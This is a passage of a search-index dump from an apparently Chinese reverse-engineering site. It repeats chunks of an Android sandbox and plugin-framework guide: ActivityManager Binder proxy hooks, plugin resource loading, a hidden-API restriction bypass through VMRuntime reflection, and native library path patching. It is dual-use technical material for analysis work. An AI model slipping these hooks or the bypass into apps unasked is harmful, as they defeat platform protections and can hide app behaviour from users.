AMSInvocationHandler(originalAMS) ); mInstanceField.set(gDefault, proxyAMS); Log.d(TAG, \"ActivityManagerNative.gDefault hooked\"); } /** * InvocationHandler - 核心拦截逻辑 */ private class AMSInvocationHandler implements InvocationHandler { private final Object target; // 原始 IActivityManager AMSInvocationHandler(Object target) { this.target = target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); Log.v(TAG, \"AMS method called: \" + methodName); // ========== startActivity 拦截 ========== if (\"startActivity\".eq","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:3","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#ams-hook-实现"},{"categories":null,"collections":null,"content":"2.3 系统服务 Hook (Binder Proxy) 这是整个沙箱技术最核心、最复杂的部分。 Binder Hook 原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ Binder Hook 原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Hook 前】 │ │ │ │ App ──► ActivityManager.getService() ──► IActivityManager (Binder) │ │ │ │ │ ▼ │ │ ActivityManagerService │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Hook 后】 │ │ │ │ App ──► ActivityManager.getService() ──► IActivityManager (Proxy) │ │ │ │ │ ┌─────────────┴─────────────┐ │ │ │ InvocationHandler │ │ │ │ (我们的拦截逻辑) │ │ │ │ │ │ │ │ invoke(method, args) { │ │ │ │ if (是插件调用) { │ │ │ │ 修改 args │ │ │ │ } │ │ │ │ return 原始调用 │ │ │ │ } │ │ │ └─────────────┬─────────────┘ │ │ │ │ │ ▼ │ │ IActivityManager (原始 Binder) │ │ │ │ │ ▼ │ │ ActivityManagerService │ │ │ └─────────────────────────────────────────────────────────────────────────┘ AMS Hook 实现 /** * AMSHook.java * ActivityManagerService Hook 实现 */ public class AMSHook { private static final String TAG = \"AMSHook\"; private Object originalAMS; // 原始的 IActivityManager private Object proxyAMS; // 代理后的 IActivityManager /** * 执行 Hook */ public void hook() { try { if (Build.VERSION.SDK_INT \u003e= Build.VERSION_CODES.O) { // Android 8.0+ hookActivityManager(); } else { // Android 8.0 以下 hookActivityManagerNative(); } Log.d(TAG, \"AMS Hook installed successfully\"); } catch (Exception e) { Log.e(TAG, \"AMS Hook failed\", e); } } /** * Android 8.0+ 的 Hook 方式 */ private void hookActivityManager() throws Exception { // 1. 获取 ActivityManager 类 Class\u003c?\u003e activityManagerClass = Class.forName(\"android.app.ActivityManager\"); // 2. 获取 IActivityManagerSingleton 字段 Field singletonField = activityManagerClass.getDeclaredField(\"IActivityManagerSingleton\"); singletonField.setAccessible(true); Object singleton = singletonField.get(null); // 3. 获取 Singleton 类的 mInstance 字段 Class\u003c?\u003e singletonClass = Class.forName(\"android.util.Singleton\"); Field mInstanceField = singletonClass.getDeclaredField(\"mInstance\"); mInstanceField.setAccessible(true); // 4. 获取原始的 IActivityManager 实例 originalAMS = mInstanceField.get(singleton); // 5. 获取 IActivityManager 接口 Class\u003c?\u003e iActivityManagerClass = Class.forName(\"android.app.IActivityManager\"); // 6. 创建动态代理 proxyAMS = Proxy.newProxyInstance( iActivityManagerClass.getClassLoader(), new Class\u003c?\u003e[] { iActivityManagerClass }, new AMSInvocationHandler(originalAMS) ); // 7. 替换原始实例 mInstanceField.set(singleton, proxyAMS); Log.d(TAG, \"IActivityManagerSingleton hooked\"); } /** * Android 8.0 以下的 Hook 方式 */ private void hookActivityManagerNative() throws Exception { // 1. 获取 ActivityManagerNative 类 Class\u003c?\u003e amnClass = Class.forName(\"android.app.ActivityManagerNative\"); // 2. 获取 gDefault 字段 Field gDefaultField = amnClass.getDeclaredField(\"gDefault\"); gDefaultField.setAccessible(true); Object gDefault = gDefaultField.get(null); // 3. gDefault 是一个 Singleton，获取其 mInstance Class\u003c?\u003e singletonClass = Class.forName(\"android.util.Singleton\"); Field mInstanceField = singletonClass.getDeclaredField(\"mInstance\"); mInstanceField.setAccessible(true); // 4. 获取原始 IActivityManager originalAMS = mInstanceField.get(gDefault); // 5. 创建动态代理并替换 Class\u003c?\u003e iActivityManagerClass = Class.forName(\"android.app.IActivityManager\"); proxyAMS = Proxy.newProxyInstance( iActivityManagerClass.getClassLoader(), new Class\u003c?\u003e[] { iActivityManagerClass }, new AMSInvocationHandler(originalAMS) ); mInstanceField.set(gDefault, proxyAMS); Log.d(TAG, \"ActivityManagerNative.gDefault hooked\"); } /** * InvocationHandler - 核心拦截逻辑 */ private class AMSInvocationHandler implements InvocationHandler { private final Object target; // 原始 IActivityManager AMSInvocationHandler(Object target) { this.target = target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); Log.v(TAG, \"AMS method called: \" + methodName); // ========== startActivity 拦截 ========== if (\"startActivity\".eq","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:3","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#pms-hook-实现"},{"categories":null,"collections":null,"content":"2.4 资源管理 (Resource Management) 插件 App 需要加载自己的布局、字符串、图片等资源。 资源加载原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ 资源加载原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Plugin APK (res/ 目录) │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ AssetManager │ ◄── addAssetPath(pluginApkPath) │ │ │ │ (通过反射调用隐藏 API) │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ Resources │ ◄── new Resources(assetManager, dm, config) │ │ │ (插件专用) │ │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ PluginContext │ ◄── 重写 getResources() 返回插件 Resources │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Plugin Activity │ │ │ │ │ │ │ │ setContentView(R.layout.activity_main) │ │ │ │ getString(R.string.app_name) │ │ │ │ getDrawable(R.drawable.icon) │ │ │ │ │ │ │ │ ◄── 这些调用会使用 PluginContext 的 Resources │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ 代码实现 /** * PluginResourcesManager.java * 插件资源管理 */ public class PluginResourcesManager { private static final String TAG = \"PluginResources\"; private final Context hostContext; private final Map\u003cString, Resources\u003e resourcesCache = new HashMap\u003c\u003e(); public PluginResourcesManager(Context hostContext) { this.hostContext = hostContext; } /** * 为插件创建 Resources 对象 */ public Resources createPluginResources(String pluginApkPath, String pluginId) { if (resourcesCache.containsKey(pluginId)) { return resourcesCache.get(pluginId); } try { Resources pluginResources; if (Build.VERSION.SDK_INT \u003e= Build.VERSION_CODES.LOLLIPOP) { pluginResources = createResourcesV21(pluginApkPath); } else { pluginResources = createResourcesLegacy(pluginApkPath); } resourcesCache.put(pluginId, pluginResources); Log.d(TAG, \"Created Resources for plugin: \" + pluginId); return pluginResources; } catch (Exception e) { Log.e(TAG, \"Failed to create plugin Resources\", e); return hostContext.getResources(); } } /** * Android 5.0+ 创建 Resources */ @TargetApi(Build.VERSION_CODES.LOLLIPOP) private Resources createResourcesV21(String pluginApkPath) throws Exception { // 创建新的 AssetManager AssetManager assetManager = AssetManager.class.newInstance(); // 反射调用 addAssetPath (这是隐藏 API) Method addAssetPathMethod = AssetManager.class.getDeclaredMethod( \"addAssetPath\", String.class); addAssetPathMethod.setAccessible(true); // 先添加宿主资源路径 addAssetPathMethod.invoke(assetManager, hostContext.getPackageResourcePath()); // 再添加插件资源路径 int cookie = (int) addAssetPathMethod.invoke(assetManager, pluginApkPath); if (cookie == 0) { throw new RuntimeException(\"Failed to add asset path: \" + pluginApkPath); } // 获取宿主的 DisplayMetrics 和 Configuration Resources hostResources = hostContext.getResources(); DisplayMetrics dm = hostResources.getDisplayMetrics(); Configuration config = hostResources.getConfiguration(); // 创建新的 Resources return new Resources(assetManager, dm, config); } /** * Android 5.0 以下创建 Resources (兼容模式) */ private Resources createResourcesLegacy(String pluginApkPath) throws Exception { AssetManager assetManager = AssetManager.class.newInstance(); Method addAssetPathMethod = AssetManager.class.getDeclaredMethod( \"addAssetPath\", String.class); addAssetPathMethod.setAccessible(true); addAssetPathMethod.invoke(assetManager, pluginApkPath); Resources hostResources = hostContext.getResources(); return new Resources( assetManager, hostResources.getDisplayMetrics(), hostResources.getConfiguration() ); } /** * 获取插件的 Resources */ public Resources getPluginResources(String pluginId) { return resourcesCache.get(pluginId); } } /** * PluginContext.java * 插件专用 Context - 重写资源访问方法 */ public class PluginContext extends ContextWrapper { private final Resources pluginResources; private final ClassLoader pluginClassLoader; private final AssetManager pluginAssetManager; public PluginContext(Context base, Resources pluginResources, ClassLoader pluginClassLoade","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:4","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#24-资源管理-resource-management"},{"categories":null,"collections":null,"content":"2.4 资源管理 (Resource Management) 插件 App 需要加载自己的布局、字符串、图片等资源。 资源加载原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ 资源加载原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Plugin APK (res/ 目录) │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ AssetManager │ ◄── addAssetPath(pluginApkPath) │ │ │ │ (通过反射调用隐藏 API) │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ Resources │ ◄── new Resources(assetManager, dm, config) │ │ │ (插件专用) │ │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ PluginContext │ ◄── 重写 getResources() 返回插件 Resources │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Plugin Activity │ │ │ │ │ │ │ │ setContentView(R.layout.activity_main) │ │ │ │ getString(R.string.app_name) │ │ │ │ getDrawable(R.drawable.icon) │ │ │ │ │ │ │ │ ◄── 这些调用会使用 PluginContext 的 Resources │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ 代码实现 /** * PluginResourcesManager.java * 插件资源管理 */ public class PluginResourcesManager { private static final String TAG = \"PluginResources\"; private final Context hostContext; private final Map resourcesCache = new HashMap\u003c\u003e(); public PluginResourcesManager(Context hostContext) { this.hostContext = hostContext; } /** * 为插件创建 Resources 对象 */ public Resources createPluginResources(String pluginApkPath, String pluginId) { if (resourcesCache.containsKey(pluginId)) { return resourcesCache.get(pluginId); } try { Resources pluginResources; if (Build.VERSION.SDK_INT \u003e= Build.VERSION_CODES.LOLLIPOP) { pluginResources = createResourcesV21(pluginApkPath); } else { pluginResources = createResourcesLegacy(pluginApkPath); } resourcesCache.put(pluginId, pluginResources); Log.d(TAG, \"Created Resources for plugin: \" + pluginId); return pluginResources; } catch (Exception e) { Log.e(TAG, \"Failed to create plugin Resources\", e); return hostContext.getResources(); } } /** * Android 5.0+ 创建 Resources */ @TargetApi(Build.VERSION_CODES.LOLLIPOP) private Resources createResourcesV21(String pluginApkPath) throws Exception { // 创建新的 AssetManager AssetManager assetManager = AssetManager.class.newInstance(); // 反射调用 addAssetPath (这是隐藏 API) Method addAssetPathMethod = AssetManager.class.getDeclaredMethod( \"addAssetPath\", String.class); addAssetPathMethod.setAccessible(true); // 先添加宿主资源路径 addAssetPathMethod.invoke(assetManager, hostContext.getPackageResourcePath()); // 再添加插件资源路径 int cookie = (int) addAssetPathMethod.invoke(assetManager, pluginApkPath); if (cookie == 0) { throw new RuntimeException(\"Failed to add asset path: \" + pluginApkPath); } // 获取宿主的 DisplayMetrics 和 Configuration Resources hostResources = hostContext.getResources(); DisplayMetrics dm = hostResources.getDisplayMetrics(); Configuration config = hostResources.getConfiguration(); // 创建新的 Resources return new Resources(assetManager, dm, config); } /** * Android 5.0 以下创建 Resources (兼容模式) */ private Resources createResourcesLegacy(String pluginApkPath) throws Exception { AssetManager assetManager = AssetManager.class.newInstance(); Method addAssetPathMethod = AssetManager.class.getDeclaredMethod( \"addAssetPath\", String.class); addAssetPathMethod.setAccessible(true); addAssetPathMethod.invoke(assetManager, pluginApkPath); Resources hostResources = hostContext.getResources(); return new Resources( assetManager, hostResources.getDisplayMetrics(), hostResources.getConfiguration() ); } /** * 获取插件的 Resources */ public Resources getPluginResources(String pluginId) { return resourcesCache.get(pluginId); } } /** * PluginContext.java * 插件专用 Context - 重写资源访问方法 */ public class PluginContext extends ContextWrapper { private final Resources pluginResources; private final ClassLoader pluginClassLoader; private final AssetManager pluginAssetManager; public PluginContext(Context base, Resources pluginResources, ClassLoader pluginClassLoade","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:4","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#资源加载原理图"},{"categories":null,"collections":null,"content":"2.4 资源管理 (Resource Management) 插件 App 需要加载自己的布局、字符串、图片等资源。 资源加载原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ 资源加载原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Plugin APK (res/ 目录) │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ AssetManager │ ◄── addAssetPath(pluginApkPath) │ │ │ │ (通过反射调用隐藏 API) │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ Resources │ ◄── new Resources(assetManager, dm, config) │ │ │ (插件专用) │ │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ PluginContext │ ◄── 重写 getResources() 返回插件 Resources │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Plugin Activity │ │ │ │ │ │ │ │ setContentView(R.layout.activity_main) │ │ │ │ getString(R.string.app_name) │ │ │ │ getDrawable(R.drawable.icon) │ │ │ │ │ │ │ │ ◄── 这些调用会使用 PluginContext 的 Resources │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ 代码实现 /** * PluginResourcesManager.java * 插件资源管理 */ public class PluginResourcesManager { private static final String TAG = \"PluginResources\"; private final Context hostContext; private final Map resourcesCache = new HashMap\u003c\u003e(); public PluginResourcesManager(Context hostContext) { this.hostContext = hostContext; } /** * 为插件创建 Resources 对象 */ public Resources createPluginResources(String pluginApkPath, String pluginId) { if (resourcesCache.containsKey(pluginId)) { return resourcesCache.get(pluginId); } try { Resources pluginResources; if (Build.VERSION.SDK_INT \u003e= Build.VERSION_CODES.LOLLIPOP) { pluginResources = createResourcesV21(pluginApkPath); } else { pluginResources = createResourcesLegacy(pluginApkPath); } resourcesCache.put(pluginId, pluginResources); Log.d(TAG, \"Created Resources for plugin: \" + pluginId); return pluginResources; } catch (Exception e) { Log.e(TAG, \"Failed to create plugin Resources\", e); return hostContext.getResources(); } } /** * Android 5.0+ 创建 Resources */ @TargetApi(Build.VERSION_CODES.LOLLIPOP) private Resources createResourcesV21(String pluginApkPath) throws Exception { // 创建新的 AssetManager AssetManager assetManager = AssetManager.class.newInstance(); // 反射调用 addAssetPath (这是隐藏 API) Method addAssetPathMethod = AssetManager.class.getDeclaredMethod( \"addAssetPath\", String.class); addAssetPathMethod.setAccessible(true); // 先添加宿主资源路径 addAssetPathMethod.invoke(assetManager, hostContext.getPackageResourcePath()); // 再添加插件资源路径 int cookie = (int) addAssetPathMethod.invoke(assetManager, pluginApkPath); if (cookie == 0) { throw new RuntimeException(\"Failed to add asset path: \" + pluginApkPath); } // 获取宿主的 DisplayMetrics 和 Configuration Resources hostResources = hostContext.getResources(); DisplayMetrics dm = hostResources.getDisplayMetrics(); Configuration config = hostResources.getConfiguration(); // 创建新的 Resources return new Resources(assetManager, dm, config); } /** * Android 5.0 以下创建 Resources (兼容模式) */ private Resources createResourcesLegacy(String pluginApkPath) throws Exception { AssetManager assetManager = AssetManager.class.newInstance(); Method addAssetPathMethod = AssetManager.class.getDeclaredMethod( \"addAssetPath\", String.class); addAssetPathMethod.setAccessible(true); addAssetPathMethod.invoke(assetManager, pluginApkPath); Resources hostResources = hostContext.getResources(); return new Resources( assetManager, hostResources.getDisplayMetrics(), hostResources.getConfiguration() ); } /** * 获取插件的 Resources */ public Resources getPluginResources(String pluginId) { return resourcesCache.get(pluginId); } } /** * PluginContext.java * 插件专用 Context - 重写资源访问方法 */ public class PluginContext extends ContextWrapper { private final Resources pluginResources; private final ClassLoader pluginClassLoader; private final AssetManager pluginAssetManager; public PluginContext(Context base, Resources pluginResources, ClassLoader pluginClassLoade","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:4","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#代码实现-1"},{"categories":null,"collections":null,"content":"3. 完整示例：最小化沙箱实现 ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:3:0","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#3-完整示例最小化沙箱实现"},{"categories":null,"collections":null,"content":"3.1 PluginManager 核心类 /** * PluginManager.java * 插件管理器 - 沙箱框架的核心入口 */ public class PluginManager { private static final String TAG = \"PluginManager\"; private static volatile PluginManager instance; private Context hostContext; private String hostPackageName; // 各个管理器 private PluginClassLoaderManager classLoaderManager; private PluginResourcesManager resourcesManager; // 已加载的插件信息 private final Map\u003cString, PluginInfo\u003e loadedPlugins = new ConcurrentHashMap\u003c\u003e(); // Hook 管理 private AMSHook amsHook; private PMSHook pmsHook; private PluginManager() {} public static PluginManager getInstance() { if (instance == null) { synchronized (PluginManager.class) { if (instance == null) { instance = new PluginManager(); } } } return instance; } /** * 初始化沙箱框架 (在 Application.onCreate 中调用) */ public void init(Context context) { this.hostContext = context.getApplicationContext(); this.hostPackageName = context.getPackageName(); // 初始化管理器 classLoaderManager = new PluginClassLoaderManager(hostContext); resourcesManager = new PluginResourcesManager(hostContext); // 安装 Hook installHooks(); Log.d(TAG, \"PluginManager initialized\"); } /** * 安装系统 Hook */ private void installHooks() { // Hook AMS amsHook = new AMSHook(); amsHook.hook(); // Hook PMS pmsHook = new PMSHook(); pmsHook.hook(hostContext); Log.d(TAG, \"System hooks installed\"); } /** * 加载插件 * * @param apkPath 插件 APK 路径 * @return 插件信息 */ public PluginInfo loadPlugin(String apkPath) { Log.d(TAG, \"Loading plugin: \" + apkPath); try { // 1. 解析插件 APK PluginInfo pluginInfo = parsePluginApk(apkPath); String pluginId = pluginInfo.pluginId; // 2. 创建 ClassLoader DexClassLoader classLoader = classLoaderManager.createClassLoader(apkPath, pluginId); pluginInfo.classLoader = classLoader; // 3. 创建 Resources Resources resources = resourcesManager.createPluginResources(apkPath, pluginId); pluginInfo.resources = resources; // 4. 缓存插件信息 loadedPlugins.put(pluginId, pluginInfo); // 5. 调用插件 Application 的 onCreate (如果有) initPluginApplication(pluginInfo); Log.d(TAG, \"Plugin loaded successfully: \" + pluginId); Log.d(TAG, \" Package: \" + pluginInfo.packageName); Log.d(TAG, \" Activities: \" + pluginInfo.activities.size()); Log.d(TAG, \" Services: \" + pluginInfo.services.size()); return pluginInfo; } catch (Exception e) { Log.e(TAG, \"Failed to load plugin: \" + apkPath, e); return null; } } /** * 解析插件 APK 的 AndroidManifest */ private PluginInfo parsePluginApk(String apkPath) throws Exception { PackageManager pm = hostContext.getPackageManager(); // 解析 PackageInfo PackageInfo packageInfo = pm.getPackageArchiveInfo(apkPath, PackageManager.GET_ACTIVITIES | PackageManager.GET_SERVICES | PackageManager.GET_RECEIVERS | PackageManager.GET_PROVIDERS | PackageManager.GET_META_DATA); if (packageInfo == null) { throw new RuntimeException(\"Failed to parse APK: \" + apkPath); } // 修正 sourceDir (因为 APK 未安装，需要手动设置) packageInfo.applicationInfo.sourceDir = apkPath; packageInfo.applicationInfo.publicSourceDir = apkPath; // 创建 PluginInfo PluginInfo pluginInfo = new PluginInfo(); pluginInfo.pluginId = generatePluginId(packageInfo.packageName); pluginInfo.packageName = packageInfo.packageName; pluginInfo.apkPath = apkPath; pluginInfo.packageInfo = packageInfo; // 解析 Activities if (packageInfo.activities != null) { for (ActivityInfo activityInfo : packageInfo.activities) { pluginInfo.activities.put(activityInfo.name, activityInfo); } } // 解析 Services if (packageInfo.services != null) { for (ServiceInfo serviceInfo : packageInfo.services) { pluginInfo.services.put(serviceInfo.name, serviceInfo); } } // 解析 Receivers if (packageInfo.receivers != null) { for (ActivityInfo receiverInfo : packageInfo.receivers) { pluginInfo.receivers.put(receiverInfo.name, receiverInfo); } } return pluginInfo; } /** * 初始化插件的 Application */ private void initPluginApplication(PluginInfo pluginInfo) { try { String appClassName = pluginInfo.packageInfo.applicationInfo.className; if (appClassName == null || appClassName.isEmpty()) { return; } // 加载 Application 类 Class\u003c?\u003e appClass ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:3:1","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#31-pluginmanager-核心类"},{"categories":null,"collections":null,"content":"3.2 使用示例 /** * HostApplication.java * 宿主 App 的 Application */ public class HostApplication extends Application { @Override public void onCreate() { super.onCreate(); // 初始化沙箱框架 PluginManager.getInstance().init(this); } } /** * MainActivity.java * 宿主 App 的主 Activity */ public class MainActivity extends AppCompatActivity { private static final String TAG = \"MainActivity\"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 加载插件按钮 findViewById(R.id.btnLoadPlugin).setOnClickListener(v -\u003e loadPlugin()); // 启动插件按钮 findViewById(R.id.btnStartPlugin).setOnClickListener(v -\u003e startPlugin()); } private void loadPlugin() { // 从 assets 复制插件 APK 到私有目录 String pluginPath = copyPluginFromAssets(\"plugin.apk\"); // 加载插件 PluginInfo pluginInfo = PluginManager.getInstance().loadPlugin(pluginPath); if (pluginInfo != null) { Toast.makeText(this, \"插件加载成功: \" + pluginInfo.packageName, Toast.LENGTH_SHORT).show(); // 保存 pluginId 供后续使用 getPreferences(MODE_PRIVATE) .edit() .putString(\"last_plugin_id\", pluginInfo.pluginId) .apply(); } else { Toast.makeText(this, \"插件加载失败\", Toast.LENGTH_SHORT).show(); } } private void startPlugin() { String pluginId = getPreferences(MODE_PRIVATE).getString(\"last_plugin_id\", null); if (pluginId == null) { Toast.makeText(this, \"请先加载插件\", Toast.LENGTH_SHORT).show(); return; } // 启动插件的主 Activity PluginManager.getInstance().startPluginMainActivity(this, pluginId); } private String copyPluginFromAssets(String assetName) { File outFile = new File(getFilesDir(), assetName); try (InputStream in = getAssets().open(assetName); FileOutputStream out = new FileOutputStream(outFile)) { byte[] buffer = new byte[8192]; int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } } catch (IOException e) { Log.e(TAG, \"Failed to copy plugin\", e); } return outFile.getAbsolutePath(); } } ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:3:2","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#32-使用示例"},{"categories":null,"collections":null,"content":"4. 知名开源项目参考 项目 描述 特点 VirtualApp 最著名的 Android 沙箱 代码结构清晰，功能完整 VirtualXposed 免 Root 运行 Xposed 基于 VirtualApp DroidPlugin 360 开发的插件框架 四大组件支持完整 Shadow 腾讯开源插件框架 零反射、全动态 RePlugin 360 开源插件框架 稳定、灵活 ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:4:0","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#4-知名开源项目参考"},{"categories":null,"collections":null,"content":"5. 挑战与局限 ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:5:0","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#5-挑战与局限"},{"categories":null,"collections":null,"content":"5.1 兼容性问题 ┌─────────────────────────────────────────────────────────────┐ │ Android 版本兼容性 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Android 版本 主要变化 影响 │ │ ─────────────────────────────────────────────────────────│ │ Android 9.0 隐藏 API 限制 反射受限 │ │ Android 10 Scoped Storage 文件访问限制 │ │ Android 11 Package Visibility 包可见性限制 │ │ Android 12 exported 必须显式声明 Manifest 变化 │ │ Android 13 通知权限变化 运行时权限 │ │ Android 14 前台服务类型 服务限制 │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:5:1","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#51-兼容性问题"},{"categories":null,"collections":null,"content":"5.2 绕过隐藏 API 限制 /** * 绕过 Android 9.0+ 的隐藏 API 限制 */ public class HiddenApiBypass { /** * 方法1: 通过修改调用者身份 */ public static void bypassHiddenApiRestrictions() { if (Build.VERSION.SDK_INT \u003c Build.VERSION_CODES.P) { return; } try { Method forName = Class.class.getDeclaredMethod(\"forName\", String.class); Method getDeclaredMethod = Class.class.getDeclaredMethod( \"getDeclaredMethod\", String.class, Class[].class); Class\u003c?\u003e vmRuntimeClass = (Class\u003c?\u003e) forName.invoke(null, \"dalvik.system.VMRuntime\"); Method getRuntime = (Method) getDeclaredMethod.invoke(vmRuntimeClass, \"getRuntime\", null); Method setHiddenApiExemptions = (Method) getDeclaredMethod.invoke( vmRuntimeClass, \"setHiddenApiExemptions\", new Class[]{String[].class}); Object vmRuntime = getRuntime.invoke(null); setHiddenApiExemptions.invoke(vmRuntime, new Object[]{new String[]{\"L\"}}); } catch (Exception e) { Log.e(\"HiddenApiBypass\", \"Failed to bypass hidden API\", e); } } } ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:5:2","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#52-绕过隐藏-api-限制"},{"categories":null,"collections":null,"content":"5.3 Native Code 支持 对于包含 JNI/Native 代码的插件，需要额外处理： /** * Native 库加载器 */ public class NativeLibraryLoader { /** * 为插件修改 Native 库搜索路径 */ public static void patchNativeLibraryPath(ClassLoader classLoader, String libPath) { try { // 获取 BaseDexClassLoader 的 pathList 字段 Field pathListField = BaseDexClassLoader.class.getDeclaredField(\"pathList\"); pathListField.setAccessible(true); Object pathList = pathListField.get(classLoader); // 获取 DexPathList 的 nativeLibraryDirectories 字段 Field nativeLibDirsField = pathList.getClass() .getDeclaredField(\"nativeLibraryDirectories\"); nativeLibDirsField.setAccessible(true); @SuppressWarnings(\"unchecked\") List\u003cFile\u003e nativeLibDirs = (List\u003cFile\u003e) nativeLibDirsField.get(pathList); // 添加插件的 lib 目录 nativeLibDirs.add(0, new File(libPath)); // 同时需要更新 nativeLibraryPathElements // ... (更复杂的反射操作) } catch (Exception e) { Log.e(\"NativeLoader\", \"Failed to patch native library path\", e); } } } ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:5:3","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#53-native-code-支持"},{"categories":null,"collections":null,"content":"6. 安全分析视角 从逆向工程和安全分析的角度，沙箱技术有以下应用： ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:6:0","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#6-安全分析视角"},{"categories":null,"collections":null,"content":"6.1 行为分析 /** * 在沙箱中监控 App 行为 */ public class BehaviorMonitor { /** * 监控网络请求 */ public void hookNetwork() { // Hook OkHttp、HttpURLConnection 等 } /** * 监控文件访问 */ public void hookFileAccess() { // Hook File 类的 read/write 操作 } /** * 监控敏感 API 调用 */ public void hookSensitiveAPIs() { // 监控获取设备ID、定位、联系人等 API } } ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:6:1","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#61-行为分析"},{"categories":null,"collections":null,"content":"6.2 动态脱壳 